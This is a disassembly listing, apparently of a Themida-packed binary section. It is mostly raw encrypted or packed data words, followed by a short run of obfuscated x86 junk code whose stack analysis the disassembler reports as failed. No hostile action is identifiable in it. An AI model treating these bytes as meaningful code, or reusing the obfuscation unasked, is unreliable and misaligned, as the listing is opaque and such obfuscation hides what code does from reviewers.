		dd 3A93FFE6h, 0BF1D04h,	0F3B60000h, 19858E96h, 0B8E6298Eh
		dd 3A56E64Fh, 7E09AD0h,	0D82DBD16h, 0ADD6613Dh,	40F7407h
		dd 77CC649Ah, 1277029Ch, 0ED16A1FDh, 0E231DE84h, 9D0531BCh
		dd 607E09Ah, 0D3BA59AEh, 35D1E1Ah, 63EE5748h, 4194F713h
		dd 69C207E1h, 0E7B75B00h, 0C8D335Ch, 0BDA56E52h, 95BE4955h
		dd 0F495F62Ch, 5AC0DC6Ch, 390FE3EFh, 4800050Fh,	276FC82Ch
		dd 1B017BBEh, 80C96FB8h, 0F74C9C27h, 2DDA801Eh,	0D328B8E6h
		dd 71D6613Dh, 4770FBA3h, 13A538DEh, 43CDA9D3h, 97FA4310h
		dd 1B98D81Dh, 0D177B523h, 8BFE9650h, 0D56184AEh, 46D7F2A4h
		dd 0DED177DAh, 0DB449D0Fh, 7FC92F4Bh, 60F517E1h, 5086EFAFh
		dd 0CA96F399h, 31B81E3Ah, 8DE607E9h, 28769D02h,	0D0CE45F2h
		dd 467B1945h, 96CF4FEFh, 0B1CD0DDCh, 3FEB3D4Eh,	0C8751B74h
		dd 701D534Bh, 0B70FBA3h, 0B50A9A04h, 22692F5Eh,	94D240ACh
		dd 0D177A02Bh, 623CD93Eh, 0C39F72D7h, 5CE7504Eh, 7F27E10Ah
		dd 0E6CA84ADh, 0CB2E4A2Dh, 0F93FEACBh, 540137A0h, 0B554DFBFh
		dd 8, 0AC67BC4Eh, 54B34CF2h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
		dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch,	0E9742AEBh
		dd 85108E84h, 0E0895052h, 405h,	4E88300h, 5C240487h, 83242489h
		dd 52042404h, 0C281E289h, 4, 4EA81h, 14870000h,	0C895C24h
		dd 0E0895024h, 405h, 42D00h, 4870000h, 14895C24h, 36BF5724h
		dd 890802AEh, 243C8BF9h, 5404C483h, 8324148Bh, 286804C4h
		dd 89000010h, 428F240Ch, 2434FF08h, 4C4815Ah, 0FF000000h
		dd 81592434h, 4C4h, 0CB8EE900h,	45B9FFF7h, 0ECB81DDBh
		dd 30802B2h, 0F7E0FFC5h, 0CE6A0495h, 70198170h,	0DD5AC193h
		dd 0E70C6854h, 1E562257h, 0DC69BA90h, 1750430Fh, 1718EC5Ah
		dd 0A82BA409h, 3239FEB6h, 27771803h, 5709EEA8h,	0A003B119h
		dd 0F1137F7Eh, 0DF72A2E8h, 0EB535FB3h, 10h, 3 dup(0)
		dd 0F8C08B00h, 0AADB58Bh, 0BD8307FAh, 7FA2ACDh,	83097500h
		dd 0FA1899BDh, 19740007h, 0C08B5350h, 42DB8h, 0C9858900h
		dd 8D07FA20h, 0FCE2249Dh, 5BD3FF07h, 99BD8358h,	7FA18h
		dd 53501774h, 42DB8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh
		dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0EC6F7DD7h, 6697FBECh, 0B817EE81h
		dd 1D2D8D29h, 0B52907FAh, 7FA1061h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A06DECC3h
		dd 799533h, 0BF0F07FAh,	758D8BF1h, 0BE07FA10h, 11D55310h
		dd 0F00F983h, 0AA84h, 0BACE8000h, 6F1958Bh, 8B6407FAh
		dd 2C3Dh, 77C28100h, 0F1CD66Bh,	0FF0BD2B7h, 89840Fh, 95890000h
		dd 7FA2C8Dh, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h
		dd 8, 0BA11CAD7h, 0F9119BE1h, 1D6DB533h, 0E95E07FAh, 12h
		dd 4473EEE7h, 27214A1h,	0D577E76Ch, 0DC266D1h, 0C032F7C1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 84C35545h
		dd 5E8AAF3h, 80000000h,	0D4936355h, 2E09B58Bh, 355E07FAh
		dd 53504149h, 12E8h, 61E14000h,	92111266h, 9B70DC91h, 0F6B8A5B6h
		dd 0E92FC5B3h, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h
		dd 95EC6693h, 0C65A8D5Fh, 0FA066585h, 0F604707h, 0C8Ah
		dd 6E800h, 31880000h, 0B81E6BFDh, 6820F5Eh, 29000000h
		dd 0FA14559Dh, 0A4686107h, 509978C7h, 0FF28B52h, 82D2BA31h
		dd 585A32F6h, 88240481h, 0BE435DC0h, 62C0AFh, 2095B5FFh
		dd 8DF507FAh, 0FDA3DD85h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 81D62B1Ch
		dd 640B67E6h, 6AD0FF28h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0D367C352h,	2C818589h
		dd 11B607FAh, 1D818589h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0B29ABDC3h, 0C66CC2FFh
		dd 0FA066585h, 85895307h, 7FA2AB5h, 3448FF68h, 81F38B54h
		dd 21FD2404h, 8B663464h, 95B5FFD7h, 8107FA20h, 0E5FCEBDAh
		dd 0DD858D20h, 6A07FDA3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0E6AC351h, 3A656327h
		dd 0DE9h, 0BA858F00h, 24283B3Dh, 5C7405F0h, 0B58B655Bh
		dd 7FA1C91h, 8950D0FFh,	0FA181D9Dh, 95895E07h, 7FA3405h
		dd 6A64858Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2158B3C3h, 66BB2796h, 8589D78Bh
		dd 7FA1541h, 875B52Bh, 206A07FAh, 95FFFF6Ah, 7FA1541h
		dd 50414935h, 585C753h,	107FA2Ch, 0C7000000h, 0FA1C1585h
		dd 7, 0DE900h, 3FDD0000h, 29A97E51h, 54A47BC1h,	8B316BAEh
		dd 0FA274D95h, 91858B07h, 0F907FA0Eh, 0A364h, 958B0000h
		dd 7FA1611h, 3135BD83h,	0F0007FAh, 4C84h, 60E68100h, 8B667FD3h
		dd 0FA1BD5B5h, 21858B07h, 8907FA24h, 0FA18DD85h, 6AE08B07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0AF13C352h, 0BBB19FBAh, 57AB30DDh, 1D498589h
		dd 895E07FAh, 0FA353DB5h, 85BD8307h, 7FA18h, 42E850Fh
		dd 0B70F0000h, 6585C6D1h, 5607FA06h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 7BC35242h, 8B6B9348h, 0FA2C59B5h
		dd 4E807h, 30DF0000h, 0F18AA9C5h, 66525050h, 0F187FBEh
		dd 5AD78B31h, 24448B58h, 0AEBE6604h, 51008B27h,	0CE960h
		dd 11AB0000h, 87E86AA9h, 0DC8D5C46h, 5E9112Ch, 20000000h
		dd 0F0B5082Eh, 44895E61h, 0BA660424h, 6A586FF9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0FE39C351h, 483EBA97h, 0B5FF23C6h, 7FA2095h,	5E9h, 0F6C97900h
		dd 858DC112h, 7FDA3DDh,	0D0FFD08Ah, 896AB250h, 95892404h
		dd 7FA1801h, 30DD8D8Dh,	6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1621D8C3h, 605021D1h
		dd 48D0Fh, 0BF660000h, 8D0F4991h, 0Ah, 5E9h, 3034CA00h
		dd 89616938h, 0BD31240Ch, 7FA1C29h, 6A046Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30AFE9C3h
		dd 68E59C6Dh, 0A5A3206Bh, 95240481h, 0FF5A5CEFh, 0FA14A9B5h
		dd 81958B07h, 8107FA16h, 178082F6h, 6AD0FF32h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89BCC357h, 0FA10D58Dh, 118D2907h, 8B07FA15h,	0FA14A9BDh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 66457A1Ah, 53CDF681h, 0BA3C7F03h, 7B5FAD19h
		dd 0F8C781h, 0BE90000h,	0B2000000h, 409D3A43h, 517F2E21h
		dd 47C7313Eh, 2024h, 0BD83F560h, 802B3B4h, 0AA840F00h
		dd 0F000001h, 185h, 0C783FC00h,	0D7BF0F28h, 6A2E07C7h
		dd 13E96469h, 0A9000000h, 5BAA12A9h, 333754FBh,	30AC0C66h
		dd 0FF32D0A0h, 14E81E42h, 12000000h, 0CC5CB780h, 0CD110717h
		dd 3E4F9AD8h, 24B89327h, 0B2A1F0C0h, 47C75E8Eh,	61746104h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FB52EB7h, 682h,	91B58B00h, 8B07FA20h, 2B3BC85h
		dd 8F0F08h, 89000000h, 880F0C47h, 6, 5841F281h,	858B7A10h
		dd 802B3C0h, 1858960h, 0E807FA01h, 0Ah,	3CFCA92Bh, 159F7ECFh
		dd 81660FFFh, 5BCE08D8h, 13E861h, 16430000h, 494A65B3h
		dd 67AE5D0h, 70AB3802h,	9E2BA430h, 1958B8Eh, 5A07FA2Fh
		dd 6A084789h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 56CBC357h, 0D058509h, 835A07FAh
		dd 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 579691C3h, 0B5039B49h, 7FA02C5h, 787BA66h
		dd 632E07C7h, 6A6E6Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0DAA05AC3h, 0FFDC86DEh, 6691A8CCh
		dd 36D7CA81h, 660447C7h, 66006769h, 8B5F87BAh, 2B3B885h
		dd 51006A08h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 7DFA9DC4h, 0CDDBD29h, 478907FAh,	0D68B660Ch
		dd 0B3B4858Bh, 0DE810802h, 70E5A3D7h, 31084789h, 0FA35158Dh
		dd 8D8D5807h, 7FA0B11h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D7C35141h, 150DEEB9h, 3C195325h, 0F860Fh
		dd 0AE90000h, 78000000h, 473E6F9Fh, 0AAD27B67h,	0BE50919Bh
		dd 5FB44631h, 0FE9505Eh, 0CD000000h, 62FBF9E3h,	981F62B5h
		dd 0E5BA9D04h, 8091FD9Ch, 0B5FF0AE2h, 7FA30DDh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 22C35545h, 57CA11Ch
		dd 0F18B6618h, 0DBA5B768h, 240481D7h, 28246A49h, 22F58589h
		dd 0B5FF07FAh, 7FA14A9h, 0FFD38B66h, 0CA8166D0h, 0F78B4AD9h
		dd 0B8h, 0AE900h
		dd 86550000h, 0E4CF8259h, 7CB9B5C3h, 840FC00Bh,	58h, 100D9503h
		dd 0B5FF07FAh, 7FA0D6Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 0C7C35040h, 0EEF1A1ABh, 0FF46B815h, 179995FFh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8D89BEC3h, 7FA32B9h, 9D89C08Bh, 7FA0FD1h
		dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
		dd 2DB8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h,	0FF07FCE2h
		dd 83585BD3h, 0FA1899BDh, 17740007h, 2DB85350h,	89000004h
		dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 663BC355h, 6AD790BEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 5348C352h, 958B3772h
		dd 7FA1D25h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 1D1C5EC3h, 0ECCB7831h, 860FFDC8h
		dd 0Ch,	68E0Fh,	0CA810000h, 54071F64h, 8D8DC08Bh, 802BDA0h
		dd 0FD32BE66h, 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 78FCAC3h, 0AD85C7D9h
		dd 0C807FA31h, 0F000072h, 682h,	0E19D8900h, 0C707FA0Ah
		dd 0FA2BD985h, 7, 0FFE2B700h, 0FA2EA9B5h, 14E907h, 7B2B0000h
		dd 0D7CB71D6h, 743C5372h, 0F6FC5B75h, 0AAC45CEFh, 95FFFF1Dh
		dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0C35545h, 2C459D89h, 6A07FAh, 101995FFh, 0C08B07FAh
		dd 0C7096EEBh, 248029B6h, 0BA0D85C8h, 2A4D92F5h, 8A47AB3Dh
		dd 0F99356CAh, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 6DD392EBh
		dd 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AFF823B3h,	63DB4349h
		dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 49A9DE07h,	60021E75h
		dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 7F3250C9h,	9A895DB5h
		dd 0A52A0566h, 906A21E4h, 2941C635h, 5E8h, 85DA0100h, 8E0FEF07h
		dd 6, 1BC9958Bh, 0B95B07FAh, 3BD54CFBh,	5C4CC381h, 0B70F0000h
		dd 16F4BECFh, 958B0000h, 7FA177Dh, 810F038Bh, 6, 15E58D8Bh
		dd 0E88107FAh, 919D9C0h, 2EFD958Bh, 0C08107FAh,	0FD7E59Ch
		dd 1AEF8166h, 0EC08112h, 0B61B1B83h, 0E90389FFh, 5, 4DED302Fh
		dd 1EB83ABh, 7FDEB966h,	294B4B4Bh, 0FA23C58Dh, 1EE8107h
		dd 0F000000h, 0FFFFAB85h, 0E900EBFFh, 462h, 98CED046h
		dd 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h,	0A66B5409h
		dd 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h, 0E9411679h
		dd 1FD63C07h, 0FD336BA7h, 0C9E52565h, 0FFE68366h, 64C7338Ch
		dd 92FFE683h, 2FE69339h, 838C396Fh, 0D938E51Bh,	31E035C5h
		dd 34BFDF31h, 0BEFCA20Bh, 689E0011h, 0F4559BBh,	0BDDFAE62h
		dd 0AB9400CFh, 9C497FE8h, 59F12777h, 71932E2Fh,	0FBA1FF4Dh
		dd 0E8D2E687h, 27187807h, 0E55F3FD2h, 0C35CB919h, 0C4711763h
		dd 5FC44F4Fh, 1363EEB0h, 5D54B7D3h, 298207E8h, 2603E3AFh
		dd 0F298E044h, 5522ED52h, 0E7D9D639h, 3AA3FC07h, 7AE6A304h
		dd 0E610CEEAh, 0B5DF0FE1h, 0AE05ECC2h, 9CEAF1AFh, 9654422Dh
		dd 128C882Dh, 3ACA236Ch, 304C2BE5h, 0FE24DCDh, 0A6319AF3h
		dd 1844D77Dh, 0FE24DB1h, 7F0A947Bh, 1DA8F61Ah, 0EDD18BC4h
		dd 0C3EC7727h, 0BA74F55Ah, 5288C1EBh, 0D63F82CBh, 44286030h
		dd 21C64870h, 57000001h, 0F6A867BCh, 0EF9C426Bh, 6AF17C22h
		dd 839FF612h, 54ADFFE6h, 7BA89AC4h, 593405EBh, 58BB20B3h
		dd 38781046h, 0E72DB91Ch, 0E98EE7FFh, 22CF7529h, 0DD1DADF1h
		dd 2D1E819Dh, 0EB44FFE7h, 0E72D1C7Fh, 61F14AFFh, 0E72CE245h
		dd 11B710FFh, 3C24657Eh, 102C6CACh, 0FFE72DADh,	0AB0E7AD3h
		dd 0D9FFE72Dh, 2642DA80h, 7E14268h, 57BAD656h, 7D07E141h
		dd 0CB30BB24h, 67CC5747h, 1365F0AEh, 0B68830EAh, 24EFD38Dh
		dd 6CAC447Ah, 0E140ED50h, 14BA1307h, 0FA8AD6B3h, 0DB6990DEh
		dd 19F98E0Fh, 2CD1FA85h, 32CB7E7h, 67AA0F9Ah, 0BD540137h
		dd 503D56E1h, 1E488818h, 0C8B5D772h, 6A34E0CDh,	0B4E75B01h
		dd 0A2FFE6C7h, 0D7B21349h, 75CAC34Dh, 4324B8C8h, 5B840F78h
		dd 4D3862F2h, 0ADFE9078h, 0F814AC52h, 7E0CFC6h,	0DCF5228Ch
		dd 70C71C38h, 0DE479BF6h, 0A731A1Fh, 0D3EF2F7Fh, 7E11370h
		dd 97FA1696h, 0BD07E113h, 0A855FB64h, 52FF3569h, 3B54DFBFh
		dd 627E0E52h, 7E11333h,	0F5A2D831h, 954C821Ch, 3ACA96F3h
		dd 41C3FE10h, 6B11FDBDh, 135393D3h, 0E6F794F7h,	0FD69C2FFh
		dd 0FFE6F79Ah, 55C96FC8h, 7E10D03h, 7977A0Fh, 65AE139Eh
		dd 2B6B0339h, 0E0E5AC0Fh, 0DB81DA07h, 94F9A302h, 0C42B8FCCh
		dd 8E07E0E5h, 4BE31985h, 0F7821CF6h, 987B28CEh,	0FD167B06h
		dd 67F2AC65h, 0E598FB17h, 65BE07E0h, 0A30893FCh, 3FA42F6Fh
		dd 0ED26CBD3h, 0A1E226B1h, 0B2E33FE7h, 9FFF14F8h, 0F1619969h
		dd 0F348406Eh, 0FBDC821Ch, 1Fh,	0CA96F38Ch, 6BA5FA3Ah
		dd 18868E33h, 9840FE72h, 0C51E07E0h, 603ED53Ah,	19432Ah
		dd 0A7DC0000h, 46AB3668h, 2B8EAACDh, 20FFE683h,	8B4E790Bh
		dd 459EDF29h, 0BCEFA6DCh, 0E602A392h, 29CFDE7Bh, 0D50B937Ch
		dd 196EAE06h, 0FD607CFBh, 23FFE6D6h, 0ADD661CAh, 8930B08h
		dd 66C539DFh, 94FFE6D7h, 0C84BB03Bh, 2CE64BD6h,	9182E772h
		dd 0FD3E820Dh, 89C99B43h, 7D21F449h, 0E6D7AE11h, 0D57BD4FFh
		dd 3C949A54h, 0EA7529E7h, 0A6F81CC1h, 0ED4C6800h, 0BCFFE6D6h
		dd 0D6FD607Ch, 0CA23FFE6h, 0F282DB24h, 0E8B65DB2h, 0D76BCE42h
		dd 204AFFE6h, 73E785A4h, 0D821C753h, 71B1497Fh,	0E74BF255h
		dd 21C720FFh, 0C9FF9F74h, 6737DC31h, 688640C1h,	18h, 326CA701h
		dd 0CDD142A7h, 6ABFFF97h, 298CF8A6h, 57FFE683h,	60BF58FEh
		dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
		dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E7895752h
		dd 49D4B850h, 0D0356B62h, 16B6249h, 0EF8358C7h,	243C8704h
		dd 13F5685Ch, 14890000h, 6EA46824h, 4890000h, 0DFBB5324h
		dd 8175900Eh, 0F44938CBh, 4EBC17Fh, 6FA0C381h, 0D3F74790h
		dd 7106CB81h, 0F381084Ah, 0B078C5F9h, 545BDA89h, 8324048Bh
		dd 0EC8304C4h, 24148904h, 8B08408Fh, 89562404h,	4C681E6h
		dd 81000000h, 4C6h, 24348700h, 24148B5Ch, 81E28952h, 4C2h
		dd 4C28100h, 87000000h,	0E95C2414h, 0FFF7BC00h,	5E0AD0E8h
		dd 0B738FEA0h, 49948C84h, 64B8D3CAh, 30802C2h, 93E0FFC5h
		dd 9A5DE0E7h, 28433A88h, 6D165DEFh, 0C46621DCh,	0A5798FA4h
		dd 9E7A58A0h, 0C075D696h, 0AA101493h, 210379D3h, 0F05616D6h
		dd 583E990Ch, 3448C151h, 0E4B9B75h, 9750C5Bh, 1B0259AAh
		dd 8B0671AFh, 786B3321h, 95458082h, 33694334h, 5C2F40EBh
		dd 686A36AEh, 0B9736DA5h, 3B604C8Dh, 0E9C68B66h, 9, 6A33FBD8h
		dd 0FC3BE15Ah, 13D181D6h, 0FC2194BFh, 7A4DB2B9h, 11E940h
		dd 31A80000h, 0BE54741Dh, 8B59B12Dh, 11B58B16h,	60F0C7F3h
		dd 0FD68B66h, 288h, 615B5600h, 0CDE480F8h, 66D88B66h, 0F7D89BAh
		dd 8051DFBFh, 0F587EEDh, 0B70FC6BFh, 0AE8D8h
		dd 4FC10000h, 84F299FFh, 23F0D2D9h, 7E960h, 87130000h
		dd 39A79DCBh, 6102B16Dh, 850F605Ah, 3, 0E9C28B66h, 8, 9FA3F2BEh
		dd 0A64BD1E0h, 630FBA61h, 0F9BB1E88h, 667B15F3h, 0E9B095BEh
		dd 14h,	33B286DCh, 0D838C9F3h, 0F5828F9Fh, 61272C6Ah, 4AE8B7ACh
		dd 0F8BF0F52h, 0D281665Eh, 0AE9FB36h, 24000000h, 862A2CBFh
		dd 4F01AF60h, 0BA66FC3Fh, 6657B5CDh, 0E95AF78Bh, 14h, 0D583ABD9h
		dd 2C8FE935h, 0F37D935Ah, 0E5601CD3h, 0DC9887CAh, 0F5F2B70Fh
		dd 3B0FBA66h, 9E9h, 0B07C9600h,	69740082h, 0DE807C9Eh
		dd 10E973h, 0FDCA0000h,	4E731876h, 4268E8E5h, 42106AA1h
		dd 8166E3B9h, 8B8D88E9h, 3D78B9D1h, 5F534247h, 7E8h, 61484900h
		dd 26A7348Fh, 0CE9h, 0F015D600h, 0F25F14ACh, 0B239C21Ah
		dd 8F0F5ADCh, 3, 0FEBCF80h, 0DA8BF8B7h,	0E4F78166h, 5ABA66FAh
		dd 97D88192h, 0F876FD08h, 8B0Fh, 0B9660000h, 816020A3h
		dd 92CCEDFh, 14E861h, 0C87A0000h, 0C530378Bh, 0D3D0A74Eh
		dd 66B47F2Bh, 0B514320Fh, 61608764h, 81666159h,	66DFD3D7h
		dd 667A46BFh, 0FA2BEBAh, 384h, 0C6B70F00h, 0FCFCAFB4h
		dd 8BC0B70Fh, 0E1C281F2h, 607AC284h, 0B16061F9h, 14E9536Dh
		dd 26000000h, 881C7B99h, 9D666292h, 5EED33D4h, 94C217E1h
		dd 58ADF5D7h, 0F93B661h, 8Eh, 11E900h, 6B460000h, 776120C9h
		dd 0FA0E471Fh, 74C576C0h, 0F80629Ch, 86h, 90E38100h, 661A70A3h
		dd 751BF081h, 0E8C0B70Fh, 8, 38582490h,	0FB874C1h, 118C0Fh
		dd 0BE80000h, 0E5000000h, 4E622A70h, 0C0E39E06h, 5A5B3979h
		dd 13E9F5h, 0B8680000h,	930AAF23h, 9F7F42Dh, 87F5D102h
		dd 250D7ECDh, 2830F1Bh,	8B000000h, 1EC180CBh, 68D0Fh, 0F8600000h
		dd 61F88B66h, 93D78166h, 0DF8BFC82h, 0CE8EBB2h,	0F3000000h
		dd 679A75Dh, 4FB07F47h,	53019E74h, 800F5E5Ah, 5, 0F3471EB9h
		dd 60F38B75h, 0A348B966h, 61D18B66h, 0B773F081h, 7EB466C4h
		dd 0B4EA8166h, 14E96081h, 0EF000000h, 30EAA87Fh, 29D1CDEh
		dd 0D60AD89Dh, 0DDE2EAA2h, 6680BED1h, 3577D181h, 16880F61h
		dd 51000000h, 0FE9h, 422E3A00h,	6EAEE137h, 0D6524546h
		dd 7C91323Ah, 78B2BB5Eh, 0BF0F3CD2h, 0B966F8F0h, 0B451F750h
		dd 0BF0F5BE9h, 0D98B66F9h, 17860Fh, 12E90000h, 0E2000000h
		dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 58B0F69h
		dd 0BB000000h, 2324596Dh, 4840Fh, 0B9660000h, 0C6815182h
		dd 1600F311h, 4CC08160h, 616AA24Dh, 4B1AF081h, 830F40B8h
		dd 7, 0EB816660h, 6061495Ch, 88FFB866h,	11E85761h, 69000000h
		dd 61DCB056h, 8FD8085Bh, 951A37A5h, 7DCE7ADDh, 0FFC5E5Ah
		dd 0C18AC3B7h, 82FCBB66h, 0BE66F38Bh, 10E978BFh, 6A000000h
		dd 8FAF0E62h, 0E71EC012h, 4286EC89h, 6610B81Fh,	0E990FCBBh
		dd 0Dh,	0DACA6649h, 50C2BBF0h, 0CCACC8B5h, 0A8BA6047h
		dd 616C5CF0h, 12E952h, 39E40000h, 0BA08FD7Ch, 3EC3D722h
		dd 2A080DB3h, 0E6DE3AEAh, 0ACEF805Ah, 4C18C181h, 0FE87326h
		dd 2B000000h, 0F0E02B4h, 3D43EB4Ah, 0FB97990Ah,	0BE99450h
		dd 0DF000000h, 9C59D852h, 75C87411h, 6658DE57h,	0EB68DF81h
		dd 0FC2BF0Fh, 8D0FCBBFh, 0Ch, 2CBF6660h, 840F2Ch, 61000000h
		dd 0EE9h, 0D673A000h, 41D68B99h, 2982FB59h, 0F96BA14h
		dd 0BF0FC1B7h, 7227B8F2h, 820F443Eh, 0
; ---------------------------------------------------------------------------
		or	dx, 0A65Eh
		jmp	loc_60FBFE
; ---------------------------------------------------------------------------
		dw 40E2h
		dd 81EEE5FCh, 0C0F468AAh, 8BE200A0h, 0FFFD5D81h
		db 67h,	23h
; ---------------------------------------------------------------------------


loc_60FBFE:				; CODE XREF: Themida_:0060FBE5j
		movsx	ebx, bx
		mov	edi, 7E55A503h
		jno	$+6
		stc
		adc	si, 49E4h
		mov	ax, bx
		movzx	ecx, cx
		jl	loc_60FC1F
		cld


loc_60FC1F:				; CODE XREF: Themida_:0060FC18j
		jmp	loc_60FC31
; ---------------------------------------------------------------------------
		dd 14963CD5h, 0FE0E2389h, 0F3016B9Eh
		db 0B7h
; ---------------------------------------------------------------------------


loc_60FC31:				; CODE XREF: Themida_:loc_60FC1Fj
		sub	si, 7312h
		mov	dx, 2B07h
		xor	ebx, 65DBC6B8h
		mov	eax, 53E46461h
		mov	ecx, edx
		jmp	loc_60FC58
; ---------------------------------------------------------------------------
		inc	esi
		lodsb
		xchg	eax, edx
		mov	esi, 0C37BA643h
		retn	4888h
; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------


loc_60FC58:				; CODE XREF: Themida_:0060FC47j
		mov	eax, ecx
		jmp	loc_60FC6B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9375A58h, 0F01AB8B9h
		db 7Bh,	25h, 79h
; ---------------------------------------------------------------------------


loc_60FC6B:				; CODE XREF: Themida_:0060FC5Aj
		cmc
		push	edx
		mov	si, 87Fh
		pop	ecx
		sub	ecx, 6B1CCB77h
		adc	al, 78h
		mov	dx, 9363h
		clc
		mov	ebx, esi
		movsx	eax, ax
		call	sub_60FC9D
		dec	esp
; ---------------------------------------------------------------------------
		db 0Fh
		dd 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh
		db 8Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60FC9D	proc near		; CODE XREF: Themida_:0060FC85p
		jmp	sub_60FCA8
sub_60FC9D	endp

; ---------------------------------------------------------------------------
		dw 0E1E5h
		db 0CCh
		db 6Ah,	9Dh, 0F0h

; =============== S U B	R O U T	I N E =======================================



sub_60FCA8	proc near		; CODE XREF: sub_60FC9Dj
		pop	ecx
		jmp	loc_60FCBA
; ---------------------------------------------------------------------------
		sub	eax, 9A623E90h
		add	[ebx-7D8E9008h], ecx


loc_60FCBA:				; CODE XREF: sub_60FCA8+1j
		mov	edi, eax
		jmp	loc_60FCD0
; ---------------------------------------------------------------------------
		db 7Bh,	67h, 0AFh
		dd 30F16BEEh, 0CF0D58BFh, 92F42299h
; ---------------------------------------------------------------------------


loc_60FCD0:				; CODE XREF: sub_60FCA8+14j
		mov	eax, 1B01A932h
		jp	loc_60FCE0
		add	ax, 70A0h	; CODE XREF: sub_60FCA8+8Aj


loc_60FCE0:				; CODE XREF: sub_60FCA8+2Dj
		push	edx
		movzx	esi, cx
		pop	ebx
		push	edx
		pusha
		clc
		pusha
		popa
		popa
		pop	ecx
		jp	$+6
		jmp	loc_60FD05
; ---------------------------------------------------------------------------
		mov	[ecx-1E5BC937h], bh
		pop	ebp
		sbb	eax, 0BA075A08h
		xchg	ecx, [eax]


loc_60FD05:				; CODE XREF: sub_60FCA8+4Aj
		mov	dh, 51h
		movsx	edx, cx
		sbb	ecx, 3BB78BFEh
		pusha
		push	edi
		mov	bl, 1Fh
		pop	eax
		adc	cl, 57h
		popa
		pusha
		cmc
		jmp	loc_60FD2A
; ---------------------------------------------------------------------------
		dd 0B97DD1DAh, 0BAA6D074h
; ---------------------------------------------------------------------------
		ror	ah, 1


loc_60FD2A:				; CODE XREF: sub_60FCA8+73j
		popa
		mov	ah, ch
		call	near ptr loc_60FD36+3
		jnb	short near ptr loc_60FCDB+1
		sahf
		insd


loc_60FD36:				; CODE XREF: sub_60FCA8+85p
		jmp	far ptr	0D8F5h:1DBA8A83h
sub_60FCA8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 15h,	5Bh, 53h
		dd 58D3B70Fh, 9E8h, 0C8837000h,	2A73B43Ah, 0DA8B57A3h
		dd 0E9C78B5Ah, 9, 5C8B6F52h, 5ECB640h, 81D6B408h, 75A13FD3h
		dd 80E78161h, 0F1A24F1h, 0E8FCF8B7h, 11h, 8ECC4560h, 6E4890A7h
		dd 3D968738h, 0FDCBA7FFh, 0CD5800Dh, 603AB259h,	0FE8h
		dd 0C27F0900h, 0CB8171ECh, 1D8558C7h, 83AE9C60h, 870Fh
